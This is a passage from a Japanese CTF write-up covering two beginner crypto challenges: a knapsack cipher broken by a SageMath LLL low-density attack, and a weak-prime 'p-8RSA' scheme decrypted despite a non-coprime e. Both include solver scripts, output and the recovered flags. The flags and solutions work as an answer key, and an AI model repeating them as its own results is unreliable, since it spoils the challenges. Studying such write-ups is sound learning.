10204802163769309817146573619091345092885022518990654924014656950712859972992223551924164346235264566717972681978724897809251721761375877244325753782176857, 9438420831957673445603305728093735430853841298036258989011836327310515846466591187953907621823894906525289199249629125784422458200828675239244266235272346, 10890020912636917421687599720986965506018026168566001306712363618691959621006154914816267736938077225993112076739368505752571167457735320815453253378863503, 7612905558494937122786907665601018921881673472453283960241071713931932464659066013897727134859798086411171769879216045995689241333798042462244230212212984, 6550836530141701911622212575637172610040961303781916329326618809093764882252631974098246519703546676024381344519501504247292099463026478299004729842120794, 810463246670448806288456723577253991309434245269230870268065162161683791423034382984779736398143238385314386270683813736785640795616980760740211633626680, 7987182793636123387405676060009070849539867837366546908532424481956731048800366776798314558709408103425915728898034756937642304986810890072970609409560920, 7214351975158893076759227293921988348242566545977916782340607663706728189002123227844454484007467068046595059915519900187040379326564702309329878614144193, 11014878924638095287994257524709668434779725530794695530401129023156413550436897097358726050238680106826431375584530778605250124880702844280402008225394872, 6027887507568715893917001583622263960984925990340905403518345783740595181396031310602841240588909634580493242079149694551634238251017289222201905339455410, 416347896819517370094008870355298145260975680342177838528189406107683995143464927834127034596304824694484130253280370972827705469927428341950098126774907, 11163457967473117384909170091800080756098465652817504823829957246101519582406623920562879665741186067843806160145308672039236647314452825448974599553726514, 9053783100187331404171412931836385824515184111948767809413867380276679820649936390889334178130847227206809033839795986237398002538596094506862090790079370, 9819981805416004420939228090848428270273275315135728420672592580587456849727183520386676637280961225785470170028563422457684520710033836815957352641076656, 9099422152831608846445523884690686488729801810193179742928892208927495088869678721490572756945304623223593124143301850937075818103925239158419916092455832, 4423577950698286460626059676874777666863173105923291070406075608137350484265775306538076488967427903876263455370640828955831433683427915837489787681571104, 8756602113276572584327515563541785021885156596606825926384196017746588797560380054132379478133281808160622488923734499010823093056004931483459821079878584, 333126719900068218649984650898276581721876314324829547579365535415969541796750123020026055084245123391225191139147600319762747033880097952001528586613619, 7369702367521762727060275952126910129673008169982509956632808176742772738596846920777046904811187475688291150543995266534651134952974656031439986139640279, 2082799199108465498916580083784704029374798612211554268896160342266763106031569342542856087063877321514991732991254030062209651901743851475358154981091336, 8372258715871921984711084318371475306529362956110229335731717773030170640559593876258151246392797433258993127356247484151533876227372092507704978818762299, 11363939608613542162316118345022960798510877466323811731267325707620939632567030190215087390814765739175622571243027333413495842968402118709843171345209057, 3369719356483561545444940792209404189671394809909673685150113895593885526741601117980579861293222360031506015395948410107943057618465847851857629017021337, 3891507040973395370891557095282687378471080702589144672203318739556917713281013957214254764662956395750402238983505175330658129247692117209748428646988979, 4841437298113170733673811622315491999860260018197250450712753745063206624775276093082643398955242651840094676440631824725064149754775763109535437072598329, 5285163136257383594317771821481380172518348255388334236768828515368456565257150986678782783096670986106218219974638745661030434504183981097992990683389834, 7244116929896986409152403472296524576447775663505970094108789986102399989798939651538136211134583253147368128866311176849015387662060018429204373203882917, 7148506525887590405588915139400704234523641207593915972629337111053532230604043569291551513966362985886466513012302064587708085238549323074532238261929105, 9963569892216434098358658807251534860655159021141499917379945920250313978770919657650973084221026686207963270148354989236871921037008125320635811012429562, 4083231038473288903981795364527141098698470950916969669140777386661810905824053818094335667187521576982089894722121785936689098719720641047141775887885619, 2783788314467957767626366294911171310778689255399742535622249802506963607071489599250401846151948395505808426552847045942384003413532965612237381621803281, 9480491617103309579842630556508755350939077789372196051463181228494854894713982210404024973543443376963252760676054552352172548702910903277458343177156566, 3635429364237267158097629083423075371334216134912102395399443587668365674217468957824903594013330904699195406402865693233751839584364352027341368755854935, 10512981667787343474434123766399499997477931436681258061313671140829123476643229877218327020307534330562667672313170203756349669502382157014339683250964247, 9523260882926982368319161046924327498415945065442619931245103165210783676690576930491155298561540325169832005257298960723638671214008183533978109799943226, 8821529840762200230987342601372713314571576667046848202753835140978481743059025729341547664906327089784889179309805528352373783300015409440694498526802453, 3889011833429464584665382058129163296830025770986703817534403311481298622682949913268185847076341119959231106603819499559066684839808723190986345797294730, 6297833894994750508332367344339230109576795350737018003925458747380227258991762309042244773127464626474655334235127595180446112677686417583728900997000407, 1760580993763018538952442776136678506892159758376177668343574661932032517138571264664041285910343183567929592789229684581190582868840885043494028059145548, 1878349075050149698900567649931858097059976052165743708683218061733003305198473269136227375120889463183154947939758601333339524877223521121998759362189694, 1153881028955172548796413995891509447158808154001092914831702555572321224472153757269063442351457270745992276168611327881189379302990513606066403785037397, 1354358223850339886669589906081771646741444582933245990266741503788401468880301111475162932826849753299053269048808168611803883992487116859632452934337117, 2543377884923981424206502982559952756662944312446884306172193873371281396271026877421637622091903368826348654608641732603862340627036661889590442947531927, 11180070331634863421659326942954695855354411135806527591627639434182163636572574833713806184536037752699260808146541362264028865594295761466526576972822841, 1876044157639270095152731171181080065397794949339134253513517014818122966068827775030685216937939154007734964960492393433966781954313208696759345941096572, 10371430099994185472204699548408748044905813408067850241238238375805107275941350946511274188710313819596480556092765947208731899524618164738003278717300827, 11062773114779865261456167102313685917798343978846196446106343403832714394829785645472593554347810116685987941912922522999627132764032557020449831422203646, 10054072863070251371743882375307803093121932615191109140649824301459981488908599582245204018730319415235637278900632334082353686886849433443418405120003345, 11899130436532794506852251375418519516682965538478411626134165694080477666467891621837514385290629527954317340066073791969068384836623478676900518078492144, 3800279300556347862463102798984354928617374220518396876660726722145475720924549768399286700699390419995192400567218086102399360340221316874256916817269786, 1454947148349065856463673503402856502963580434612167600249860095631651888047663819039861980434456089663660230397115050479224033897345798648510977653561999, 2042470330662475573678989377098661429766022525672425312136276901388618218130280731245706624788119897930174958967595406027605059992960882778388524742722706, 1234466316196775376839414369545576872418957414559143172775038206383525000927730516952675718815486990989447248421995842318819533894488233801079449620739194, 9271029179787872970578591499796305060434913207434694840381590014888853464622436665409168097643583816031775853388603609072558269628091676020362129748533199, 4774006049363181543707013424043619624722110752475263766809952707315716132555412365539258234954892899737076119368604420130439903122534513533911949833743235, 623110557039911730730761834817043413841225662260405544713333348288325346206246696815306384870033925067051567408116233686600986656157873843902741673267719, 2069564772459439803719938786548180498693262686543372238863965419552080267984035520909550576789640672747255124939459370750757373319167495387965403174747875, 7009930087547627207463341159618322389574790808227199206178856629902591585272159790554326172427287447472376543486549214941749592725452858178087430338966770, 1949579642601550445176938316267401962008340575271606619055456197313569922910186952978532646082714333411065815595963623697989602613867680323849962329445328, 11473102336200916747844954216116155097772201756920091057358990979985199603080222884336057264448248212309791104537148189404198070915699582464690841703029405, 1149619512535738601211196767922880108257082979896142736945084581216263253245359015735818442104694183806457438676420946219043390360617857622541114743356625, 2728451593413071164353755775705571417160504975979542074503589190184105228575509775437861194810114128293804518550015503478674215376973558551801959937646423, 7348551730526134269844474344843320874593220152077150721293689908105376303123526293549457485523388054871559487100009886469120877549640875229125679910062900, 3980652757335090376997966895588998245582192975449382011909532268728853465365643067981211212812543763607316362585146788052930930128811388536930969342059979, 6027435835414897879227982281610804883898257447430395373655482693982905460207165696577025993816548891414301115457107032212880895723138070720653764226458649, 4935176743833633453254610852208777179108847720614483842026980697614902097198030677572108382421721697955784940692357115100326157600867058374344306754345335, 11380188380193543686552603209635990889129830058847840211484047666443921358239983121578443798338622961931123079081312386043081771886474890372630867350934523, 302987216748498327772215483663698180358086916475422751109337904686429747813576273027596185544180584711869887380062832681724092251772710838738355782182450, 811143629811997853354681978704899746490333224184384674857937414780703218886854529258709525197480284388948037380964255401025910568649894324446856632636592, 1912197174748050506709090151289853815332962565872780585712134602155119195678387971652769864474405775662028797382605103443081542911360430369860062463563893, 7291021864361814150510118731044864385204363543462889467753348110602838791870962501076106462997795429050059428094480878740697465713025274178808092567542212, 10470454741786470619594017615965958273332950307267197723934552764686005671405407576286379932688897606971338908824726882615845921705580372546409941175331037, 10181553581483434681781949968008741740061264764289389453230798650897899608022705896680919782100794147183000150901376195723151791411050033951290283786019977, 4258448968850182298881050787339455844058983218447958438955469542872009797484665292406639737321421521390721898187715427947024660792416519473288140642795272, 665126950818270052200683167429361468415424104577516367369570410295667254789977695909839338561441230603199269238113935924286711971526139364836371465706219, 5778603245576121661625744968094217982871142011195728227336698796177623583983932093421170892589521281377735094971545437150524492567792401307382096969659571, 9041169568361270824631079916805143667485107440403819673118982324331196605243710736252243694585470054722017092703832685314107118663876738553603881090379765, 8431011838980342769799616288411243768347548689119233157208349141492002200386542305507576767212556262869263553150643023836392407323405139253427329269366753, 8553706268926206579355730973791660092353863784751509372422644440790878753983928717623545538807559356829947772453965617876985508934310354104621043687587875, 6085701268163349706176631571460435367494457139886003603182612764217346443544862940087286859921717077555924920693652181971614741028158787295175507903805498, 8258027474231127629757419236092115748878321896277358390666269357460217304432166604893188156062734768320200621455881016473474077406349529408491337579070619, 217331193100935107368229358299722097535960890408924136554062054994468178500442930497503537444463416350072629320109394984373121597844999496670174734623901, 2615530940468368976430415020232745908496491487732778845358342691984855337966644151086347954705207248347432846086811344429509626971772151674138828479034407, 9960118652490492442626264557722940366236550945756405929154467678797068007119691196073161215135625171292061966393931591117075379707418718493207613281734128, 11883479956336240751620508565956647791575906464658043904847102787653384413540737438954113122506827116919889512801006983398795266218225358709015970474796209, 6152285147387893134308305627413716697035724893956326980324894196703036047676192332607132054448632203410660151536148743152836146945863580679445515576633313, 3087204177300702725903801544645938527062384514542059207838072215532344688679150676602943592074143292505943525492596313110869017003113441178426953737136320, 3757237385014563017951360020497685657808716037369726973798008159647192565347911506203832144238975399303316833405799994094392890515318875781045298318308651, 4174290778215893394677957264252893474678237242610027055294712957192373957647857206677916027186240373718927301908828095938016364127818908516883960408679053, 3748803300372512770866385104654922154470904205965026771319291886728164245927197518590781953321238268806575463481225816414707349949847056384636893007457721, 8034791604871081754393742620809047036249538255482307958153762277184366357510690505406748023739482129037447179804389566282826743874110772660769989993214140, 3647010606069854412551850026099222166287473701386238939796403152511252931742239857496752497988938568540423402614995772990646648482450299155961694607003150, 7806003716386838238944347755133023427857127411524200971653891977428639559902033732325074590574245675288515664031976582135757036821962959301244591185185836, 562123165970750916018523521274665280554207579150705704505991893938951905226252420500731924279293805682202106917135997949779952378356926548090996464183261, 10017225347599062251185778825601433952376955965940785104804810153710575101527601556073680944735221687545673318069762612385520657594749285103779943556203859, 11034121495368102793824149104460238045159050590264281508159716286752391769866225931653206949515929308837443453281068270892449202454489663082251103597579414, 1393756984740491625980042801423925923652694124513215825983448770637319821986725266222696274322782094225350417979883496797845297892870351570641796736429365, 3894233430764171021978166251097684223603711526228678617083090942307219791681305224470393733859806270321706191768448575635613494955972821171942019155576022, 5038527951098793046808059643802686028797058725403977118364390586086699770072322326201266880837915838731709376700104758344376656110092506598359671395752201, 9060876869828818448898852928359252910511417178029126609685283138824053964178895354434001568085161220224819591618740459295638904077934235248948941835465621, 1213284553098562533791961352335340028855774866108118873722749495214290050781676187996449060540282711962596299780371703456279525985966066640468482695387037, 9458104547506301061680450860449196327062010922531182109678643885802054328886528832025671540545677869267828858508683156236410816570296275103437238768105346, 10040054309381342148323598117554716384177326501952268974305486266186254782754797649740498654297024089530806441993039549600316509292085634401892126157777725, 2276927462611754797775080537543333252522721301228205773464099348201834053373985987075600025798802656981615274790492592630699705223288330490059041063861371, 11556387618265616484447806363024761014562917993396940861921977454240032115257066203918497109784248023494996743861411413922697151976403744004551897333587419, 9889259553854405678741508034426455964451772337345174356626295292298205602394952451135449468310970347202594428138122580204423010430923553611754754581066813, 7868119367862772149704911491499473892301419246641480987785226518125812257513053330287476237691301677750429689882087996945744571488509040895507410804183873, 11508002714196611606395235648239725836815494703321432338230737422973329400113158960696048138066722457604799065695576108785835121800314850011501948179743038, 10619053976801844838774915437764267913028709258001605358060442557707903258319114013374183185245387748828857617374056519624892149856249176171314055188176610, 201114180079927977316442203939901331713590891511639359168566794984727753167419382266922071288806881033628450144449718352186865225718313149653818834069046, 2190019323352646788039891107369737594638195699052572482340522786006963164742529768845844542244804881489436879523607337606022137474264008443779753796524324, 8994078524243073711186983175744445990617668670221279088217344780392324816856868718135841406968011026331111428134944981275543409823808438028673340180600361, 6533284532224150900776455616895133851200922713727543406843945334153660021579927964092546898761699064888593901931845363003227384361960946837683468780536186, 2900049820355985276596651350970201641910754953548208005611546296295010850954727597768565027123529585734943900449339351229077414389982399805851238537614728, 1005880173354315818215910490344169033790331192510294503391908220666556408162907870924876819721045548763740285934029434904116009033147300587812755020644144, 4429054545144565886236734238945768223549483534284407724097387393750175064863874353898699526770177337528927941471007913087408339512025427531471222352188598, 1285938780473331065877152772696342220861565553509736020905508189616388274844286113355903326372890919435684927488271321733483666403913781504709399179873478, 4159150342515004345261144815031223818657482125521340153877247384204372764658422497390807502845508068305611676258953299381534589394265725368949773437475664, 6576053057257377078820906137528289451395389785096859241738114487306122040955968123160457777083015623663591073050698149441279744926252972821085393074005333, 1378738974519907914149249225442590530115602428508531939708952252356105515635440550944988163800986109078848963934554394890364246215667532562795230121599389, 7530997786399165063460850133858426260366809458237917996971974273555406375229986518119701973615401731228222820028200964035186619721317616016026502478833825, 11371420348305380659910667615045099750167009510608284140696036190712641050353322760033584623633845930207049409269889108127939128060387804390620146397391005, 1406722966782959654726752002298837227734989674210304975712947321382221136256184622554373120305519551329471835182546103526035414290130221817761536912957815, 5758051768032037692984394788957178321113409313718798728174793963781211431894591306550233406904077870173730087305011890560525061122641038861810843224356132, 8375592464786617292066912032437580000072737070264996613521303068301506481293691262141521386631735548118808483692010811823373696054502206285565746271896624, 9625907624488495507256482396243781284122158414224512296964826016170998792851176860574572431609386683318175698871706280650379052753758050216492793527676711, 6077121672943640395277987812076880734154021482921918507769764026301498404990781416398855464804098928307277904801175596028922879606596629086997501055486057, 10938317339216777969309005338771442572315779569919804097449082853678275737846462681571834649938887549054815344340466436822987440964989371612298886307178807, 10266683373756264194186447415036327152615834323531488817490014686098650065547689251785469369732777946066207328196236032745636606950149996263882005409859068, 8427162246188488278348961620437187641769838216136551139544284534863388602834144470655144389658677000026573199236022413391175268573166429748835445411482658, 5717464833792973913319562092059026311110221447664287634460947091552289507231429020487445388817891744834227397036749333830249281129481189357590616693269535, 6388818019678030249042408529039004378409245276686402664154657767440109416203769306619383018656924981215056511384850552069151122129846170533781262522748912, 8058907696340647071107754590699635637331185362322234472755551469964443477794313636568312465633167061469262463754899612550256454461142900371675688057900157, 2650747991231745389958958911304551569853139256346350929307683312550450872545634238374819072544315331311085466011529241531384249952089342273098825176365572, 1795582396480470137527176284050645710132884527117486543781042591101197373917145734791679886383698097545356710330294515054344795103981124797423720912065788, 3052494597227398062986766578785396078205343919129668957958403133104993465160270251274373731365131485657799744057254790666584712327793616306716481909813582, 10125274627175346533926610345531381215155487891981319401506773913530942967488666544216346832250066513931463806744742351603339791989023259173734707387511997, 4905680337396302183882293200926552057123452464915594706482473859546742047185066973667304120028692253252104621914547092876701216499304788257812361954677824, 6788406585087459374008868766038523502662818879678483645630850915173078456811145138541048171988301388863438344097400187657040868535924005858978037488288657, 7987535346230340897650689272410982431583013895248851443363614799158842046321593827278953603690586270590653576153599776704899221489125881490179734913546180, 8668917726517583777868824898842831799933140622366155997499295528164949892618224804058794268889856672657589162182942581708183617533722037397902258002530895, 9655881640658079998109185276195348247028848976437592393891872239361101495373466311759967129786284249009503363294866452781555176175074514406596570855032885, 2243254436239103264649148279923978439297113563084946410869285186376198427685827681488062426734892419878174177945847856801922284074524600494618385520306773, 1370395445224087129252981159080973354642721975377684037523867648255769044694663959614655088192001525836838035825117690852844390101675187401512396538329654, 4656356018264588713126970771096540938860534429248562594457229986461965010462394518948976087164472484086375527533066794826178852068228773967304732965776642, 399595104452867236939487452774442870382730185220898620972098982860940846257358797206676225999483077781771650287888749325035861259261575979039839692262492, 6713094317103593591035416401288016658374527895040216154450781797709219652499792405003768632192355326331160459215694094704931391013755418496926953624700285, 1355018836283025742708846544067619719808654650957172598457945625126225415187893386450296522915846040605946952638451856428941453174991662324580099164411759, 8507312388193815039448605936770163526583300978792064893979853487224838987061551285368575763268148426788906220831176609730056029700392843807931184213757186, 2390915763452094063824684068272365759171848406604147217738985384144180505204991956237689281338506240218745984753955055494680218520622041831641785650384604, 5078775779350968152334228179925283860790974436015640731121894535584508877508449803458104048591112435333313257450614663322502851401769525184404429846816662, 1425564122989501182786990586943993793473032764333069827246235450438848390559886137108308116686220076822910325740852447268122991165884941809370496785162762, 3241557185717009458583866491496790535555873425192682369967408484532454523143616622825602173631183439057048896614677331862355583135778598344467632239621265, 11153886486498005363601960922463467341760192139357482824612504299845068740009509797094949564531439906328941599335110459532334944225340180499338091922473414, 4750339554868896196047869851866222454424215998958859589162250220636186354219417775182461279765710413851720284554693629603182622333067705806099109845670979, 3931689678588961771487503092252686799044554895341999274823183685441609027829749616204909660105256179107533811726668939651921392965108014523612326438454763, 11187638131483583043295930937674327604068710567565996413543552914014991119808667664531916767958198065684486668485361079752275150252491497563209373369489026, 7951154730710536892216170200330921561976344676074745084927394513732709335427919379562575393123463516219422246176438982950570737516171571233794420196666886, 1672105185912794004124818038268311924305321636283766784591904708276129195324814049081791432685559117731983780119720703133146952521104542489075767958624517, 5961298351722930109958690694504209488357119642165137305859737050609557432218480991926525556188466406512020308464626017185419266848018117342271389200068990, 2614791092577719712081127427916398870473955060880008274836166534656201118982263931935400058828969825633552149733933209355913619475322640831081073991096019, 7585989640990063110599210948433357802190782090362288612653066977287873913659636348347931158157250612988653924395845263983389111801086659635847485205155792, 4431808088762149440258933713632651937723965113354466368892895978425300447231680836376644074059558059224711681073893610493216931561336057461872809335815419, 7803424065303659891769090326828845084396802995889011459387130902032712116540019926662218626165288561308869447406929573895286984344209221478683590810037836, 11333465632518722706044944069452368469429296564009722650087924377614457953420253199332209735022605809814036297664863446336960387614479076573269329031750987, 9015046896873406255435786931788379566338694649982989302643634589663708173842716795343443511577662905506449004999936754531825070165614729532129356052128575, 11605497784351360234525700004313542522479606465344927573861628615111353117631482629714381940820675064966051516229437449884465509791106407640656382300239363, 3618112506546716532317705417297714426926133719388251635042604657890418824749256430743547870156065078623067964196242241099881802766943775618184489388984614, 2961952780271618644341511265207741924062876582075139491069703688326317506273106501877576791814338926919371801113717337612487657355874282727562430403186215, 1959860827301876193534452473130565833580576931994622570402458534809572211163546248253809832512083364950948854715506995993724605349255618000388575898620819, 9522502213326349795872611375564340926065360170250620972307193996920225151270140085190219961878238320516211124175040938476084033356336641564459714925394556, 6822893241651652944802867129943790227179941374865599671130155956732332020891862363512840518812230889010452540282244203720602490116223523996809092557679690, 6857422579671283864309505737866570751014092920497487113429028085441724197811232340915656160313885768238889308579776669697849014732800696848033650297379889, 4018143097421566596818458699109838662675933060812340723092984957628021473520663072311941893877060261979047503976803401869798199151609532367574647600368003, 6194607058501590733164566924844005093710661715500276174295952934514177124661068706559499237499314609830082367219229089919247640185368549101514384767175538]
c = 1010137180395931262752398681857488526009620802401167859543237801022630704004744078316133982172587856565491470015404484864890095896964409269987597733836611756

# check the density
n = len(b)
d = float(n / log(max(b), 2))
print('[*] density: d =', d)

# low-density attack, CLOS method
# prepare a basis
MULTIPLIER = 100
B = matrix(ZZ, n + 1, n + 1)
B.set_block(0, 0, MULTIPLIER * matrix(n, 1, b))
B.set_block(n, 0, MULTIPLIER * matrix([ - c ]))
B.set_block(0, 1, 2 * identity_matrix(n))
B.set_block(n, 1, matrix([ -1 ] * n))

# LLL algorithm
for x in B.LLL():
    if all(x_i in [-1, +1] for x_i in x[1 :]):
        print('[*] found: x =', x)

        # decode x
        m = 0
        for x_i in x:
            m *= 2
            m += int(x_i == +1)
        print('[*] plaintext: m =', m)
        print('[*]', int(m).to_bytes((n+7)//8, 'big').decode())

Python2だったのをPython3向けに直して、reverseを無くした。

>docker run --rm -v %CD%:/host sagemath/sagemath sagemath /host/solve.sage
[*] density: d = 0.6232565146800783
[*] found: x = (0, 1, 1, -1, -1, -1, 1, 1, -1, 1, 1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, 1, 1, -1, -1, -1, 1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, -1, 1, -1, -1, 1, 1, 1, 1, -1, 1, 1, -1, 1, -1, 1, 1, -1, -1, 1, -1, -1, 1, 1, -1, -1, 1, 1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, -1, 1, -1, -1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, -1, 1, -1, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, -1, 1, -1, 1, 1, 1, -1, 1, -1, -1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, 1, 1, -1, -1, -1, 1, 1, -1, -1, 1, 1, -1, -1, 1, 1, -1, -1, 1, 1, -1, 1, 1, -1, -1, 1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, -1, 1, 1, -1, -1, 1, -1, -1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, 1, -1, 1, -1, -1, -1, 1, 1, -1, 1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, 1, 1, -1, -1, 1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, 1, 1, -1, -1, 1, 1, 1, -1, 1, -1, 1, -1, 1, 1, -1, 1, 1, -1, 1, -1, -1, 1, 1, -1, 1, 1, -1, -1, -1, 1, 1, -1, -1, 1, 1, -1, 1, 1, 1, -1, -1, 1, -1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1)
[*] plaintext: m = 829819987476091265028841697453636219430370099758208951791771755492425017730738328606402546049405
[*] ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}

ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}

p-8RSA

problem.py

from Crypto.Util.number import *
from random import getrandbits
from os import urandom
from flag import flag


def gen_primes(bits, e):
    q = getStrongPrime(bits)
    p = q
    while True:
        p = p-8 # p-8
        phi = (p - 1) * (q - 1)
        if isPrime(p) and GCD(phi, e) != 1:
            break
    return p, q

flag = flag.encode("utf-8") + urandom(64)
flag = bytes_to_long(flag)

e = 17
p, q = gen_primes(512, e)
n = p * q

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

$p$と$q$の差分が8の倍数のRSA暗号。$p=q$として8を引いていって条件をチェックしている。適当に試せば$n$の素因数分解はできる。が、復号できない。

GCD(phi, e) != 1。何これ？ GCD(phi, e) == 1の間違いじゃないの？

RSA暗号でこの条件をチェックしているのは、復号結果が一意にならないからというだけで、互いに素ではなくても復号はできるらしい。へぇー。

solve.py

n = 169221770188000341507764005330769042705223611712308424479120192596136318818708135716157255550936563268500310852894489839470320516645317338473018150885997977008925839939560590924435380239519554475266121835753044660177349444503693993991253475530436734034224314165897550185719665717183285653938232013807360458249
e = 17
c = 100233131931360278332734341652304555814094487252151131735286074616555402795190797647001889669472290770925839013131356212574455274690422113278015571750653365512998669453161955302008599029919101244702933443124944274359143831492874463245444294673660944786888148517110942002726017336219552279179125115273728023902

from Crypto.Util.number import *

for k in range(1000000):
  l = 0
  r = n
  while l<r-1:
    m = (l+r)//2
    if m*(m+k*8)<=n:
      l = m
    else:
     r = m
  p = l
  q = p+k*8
  if p*q==n:
    break

# https://crypto.stackexchange.com/questions/81949/how-to-compute-m-value-from-rsa-if-phin-is-not-relative-prime-with-the-e
import math

assert (p-1)%e==0
assert (q-1)%e!=0
assert (p-1)%e**2!=0
l = (p-1)*(q-1)//math.gcd(p-1, q-1)
d = inverse(e, l//e)
L = pow(2, l//e, n)
assert L!=1
for i in range(e):
  flag = pow(c, d, n)*pow(L, i, n)%n
  print(long_to_bytes(flag))

$ python3 solve.py
b"k\x00:C\xc1\x04\x88\x8b\x9f\x1c\xe5\xeb\x1b\x1b\xddX\x93\xd2\xf1b\xec\xa4\\Tpo\x9bF6-eBTB\xfd\xaaE\xb4\x87\xd5\x1a2P<\x19\x91\x85\xa3cf\x93\xa6\\\xf0\xb8hL\xebrag\xa3\xfa\x9e\x19\x7f?\xbf\x81\xb3W\xb2Wa\xf5@\x821~\x81\x9f^gm3L\x8f\r\xe1\xfbKND\x1c\xba\xdfw\xbf*\xa0\xdb1\xa9H\x89sC\n\xa1\x8d\xc3&\xfb\x86\xdb\xca5\xf8\x9c\xef\x8fJ'\xd0L\xd6a\xd0"
b'\x0c!\xb1\xc2\xd9&\xaf]s1v\xfb\x92\xb6\xc2<Dk\x9bBr[Ffd~\x985\x10w]\xb9.\xb9/\x95\xdd\x1e\x9b\x9e\xbd\xb5\xa5\x11\x91$\xc8\x19r\x1c\xac\xda:|\x87j\xd8\xd5TI\xff\xa2\xd6\xc7t"<,v\x9f\xb4\x1e\xb1i~\x00\xd6w\xad2M\x81\xd0#p=\xd3\x97\x84v\x8a\xb62@_b\x0c\xe7\xc1\x13\xd3\x085\xd9j&-n\x18\'GX\xf8Vt.dq\x0f|\xfah>:G::-'
b'ctf4b{4r3_y0u_up5id3_d0wn?_Fr0m_6310w?_0r_60th?}[D@\xd1\x90\t>+.a\xf0\x8a\x11\xeb\xf9"\xb3fJ\xd9\xe4\xe0\xc1\xed\x9a\x02\x81\x9b\x1aY\xd2r#\xc0\xdf;\xc4Z\xef\x9cR\xa6\x98\x98\x8a$\xbf\x1d\xc0I\xf4z_j\xc0\xf0\xb9\x1f\xdf\xa3\xd6O\xaa\xad'
b'\xb5B\xb4\x8d\xdf\x1e\x1f\xd4\xb4\xf4\xbel\xf4\xa2\xbb\xb5\xd9\xc1\x1b>\x87\xa4\xb3m\x94\x96\x1b@#\x9c=\xea\xc02z\xc6K\x047$\xb5e\x05\x19\xa4B\xae|P\x01\xe0\xe5\x1dN\xf4\x89\x0cR\x9c\xef\x9f.mu\xa2\xebt\xc6\x17\xa4\x08\x87\x11\x92f\xf9N\x80@\xd1\x93\x11\x7f\xbdZ\x82\xb8\x95\xb5h\xf7>\xbdKHO\xa7\xab\xf55\xdd \xd9%\x8a,3C\x8c\xfe\x08\xab<\xfc\x16\x91\xbf\x0bW=*\xbb\xa6\xbb\xaa\xb6q\xf5'
b'Ep\xef\x8e\xf1\xf2\xf5\r\xe8v}\xc8\xf2JT\x9f\x8b\xdf\xbbE\x90\x81\x96\xf6\xf0G\x95\xc6\x03g&\x8cHF\xb4\xe4p\xc13\xf1u8\xb9b\xd9/@ \nt\x88\x11M\xce\x93\xa8\xfe\xd3\x04\x88e\x19U\xec\n\x98D\x8a\x9a\xef\x97\xdd\xb1\x00g\x11\xb5\x9cTv\x80\xce(\xd8\xa7>\xe5Tv\xe0\xc08\x8a\x03v\xb3:\x13R\xb0T\xb1C\x00\x11<\xd7\x8e\xd2R\xcd\xd7[k\xda\x13\xd9\xe3\x84\xe4n\xec\xe0!\x03\\\x9e~'
b"C)\x86JseL\xa7\x852\x1a\x19\xa24>i\x0e\x98\xed\xe0\xd5/\x1ey\xf1\xf6\xa4}Y\xd8\x07\xc4J\x0f\xba\x88\xb43\x1a\x9e\xa60\xc0m\x16\x18\x9b\xec\xb3\xc8\xbd5\x12*w`\x81\x17J\xcfH\x89Be{`z\x1c\xf6\x0f\r<\x7f|fm\xb0\x8c7S\xca+\xb0tZ\x91\x8fKz\x8cMw\x08\x95L\x9b\xa3c\xc0\xb1\xf0\x9c\xa4!\xd9\x99\xa4\xb9\x1d\xd0'\x8d\xc0\xba\xa4\x1c\xed\x04\x9f\xf9\x96\xda\xbds\x06\x99\xf1s"
b"\x9f\x0c\x0b\xb3\x99~]\x1frDW!Q\x16\xb97E\xa3\xd5\x9b\xad\xbf\xa9\xcd?\x98\x9a\xc0\xc6\x83\xe1'\x8f\xc9a\xfa\xe0c\x8b~\xb2\xe1\xac\x04\n\xfa\xe1\x91#2\x86(\xca+\xef\xaa\xf2\xaa\xc6P\x89\xd3\xe5\x1b)\xf0\xb9\xa3'f'\xc3\x92S*(\xfa\xcd\xe5\xf08\x83\xeb\xa4\x95\xaeA\x00\xf8Z\xd0k<\xe5YV8\x17/\xad.L\x06q\xa9\x9a\xb5\xb6\xb9\xbcj\xe2\\\xf8\xb1s\xc5\xee\x84q\xbf\xc4r\x96\xcf\xd0\x9a\xd8"
b'\x97Q\xc1\xbf.\xb5\xadB\xe4,\xff\xac\\\xf5\xa8\x19|\xf9\x02\x9bm\x955\xc0\x81\x84}j\x81\x11\xe6H\xd5I\xc8}*\xea\xf2\x1b_\x99\x7f\xa7p\x0f\xf3\x9a\xa0?d\x12\xb2wx\x02b\x1f\xa1;\xff\x0fpZC\xb2&\x80\xbdr\xad\x98\xaf6\xeb\xc4\xb3\x921l|p\xf2\xe4~\xba\xd9c\xde\x14)j\xf3f\x14\x7f\xed%\x0bp\xf1B"\x18\xc0\xb1\x1dq?\xd3\xbf\xd9Q\xfdv\xc6\xe0\xc3\xb8Q\xa0\x07\x12\xc6w!\x8b\xf1'
b'(\x1ew92\x95\x9f\xfe\x9c\x0cE\x14\x88\xf4\xc7\xc0\x03\xb8\xd7\x9d\xcb\x84\x98\xb6\xa5<\xb9\x8c/\xcc\x8c\xc5\x95\x9eA\xb4%\x1a\xed\xad\xe7\xd6\xd8%r#\xe0\x1c\xab\xa6\xc6\x88\x7fc\x13i\x1d\x85b\xbd#}CK\x1a\x85*\x1cy\x80\xa9o`\xdc\xb6\xdc\xb9\xeb\xd5\x8fi\x1c\xb8\x10\xdd\xf4\xf2\xf7\x91\xdbM}|\x0fR\xd6\xa8\xbc\xe3\xbf\xb2\x8d\xcd]\x9e\x0c\x9e\x85z\xa4\xe1\xc3\xb8\x12^\x07\xb8\xd9\xd4\xdb-\x1a_R\x04\xa0\xb4s'
